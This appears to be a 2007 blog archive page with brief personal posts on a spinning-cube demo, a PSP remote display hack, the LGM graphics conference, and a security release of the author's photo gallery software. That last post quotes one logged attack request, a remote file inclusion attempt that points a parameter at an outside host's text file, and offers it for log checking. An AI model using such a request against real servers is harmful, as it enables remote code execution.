Archive for May, 2007

X Goes Poof!

Sunday, May 20th, 2007

When demoing spinning cubes to your 14 months old daughter*, don’t forget to release Ctrl and Alt quickly. She will come to you with an angel expression on her face an push backspace before you can blink.

* – Ok that sounds more geeky that it really was.

Globalized Voyerism

Friday, May 18th, 2007

This is what is running on my LCD TV fullscreen now :)

Remote PSP Display

Wednesday, May 16th, 2007

What a cool hack.
Not only can you control the PSP with PC input, you can also forward
the display over the USB cable. Seriously fun.

15 frames per second sound real bad, but it’s actually better than what you see on the demo above. Quite playable.

Original 0.11.2

Monday, May 14th, 2007

While I haven’t really touched original for ages now, I needed to roll out a 0.11.2 now. If you have register_globals set to on, it may be possible for the bad guys to to feed a variable with a get method which is later used to include other bits with require.

Looks like such injected include file can be very curious. In any case, using register_globals is not a very safe thing to do, and I’m not sure
allowing to include remote files is good choice either.

Grep your apache logs for something like this to see if you’ve been poked for the vulnerability:

"GET /photos/inc/config.inc.php?x[1]=http://board.4sql.net/login.txt? HTTP/1.1"

LGM

Wednesday, May 9th, 2007

I haven’t been able to attend the first LGM due to the most beautiful reasons, but am very happy to have made it to LGM2. Louis Desjardins and all who helped him deserve a lot of applause for the organisation. The rooms next to each other, printed program, wireless, food… Really an example of how to
organize an event. I wish I had at least a fraction of such abilities.

I enjoyed Bassam‘s talk on Elephants Dream production process as well as the Inkscape talk hurricane. Just like with Elephants dream, it’s a pleasure to see tools developed for a particular scenario (paintbucket for comic book coloring in Inkscape, another good presentation btw). Peter & Kamila had a cool presentation on the GIMP UI redesign. Much more confident with the team driving this now.

Boudewijn’s overview of Krita sparked my interest in the project. While the way Krita is developed very much resembles GIMP’s lack of design (“…you can have spreadsheet objects in a drawing”), the featureset looks impressive. I will have to look if there’s a sane workflow to doing the stuff I do. Too bad for all the walls preventing us to freely choose apps by their functionality and not by the platform they were developed for.

The talks will be available as video streams/downloads, so I recommend not missing these.

Just like I always do, I demoed the hard work of other people :) . I think both demos went alright. Based on the feedback I got, F-spot seems to be quite underestimated. Happy to have sparked up interest.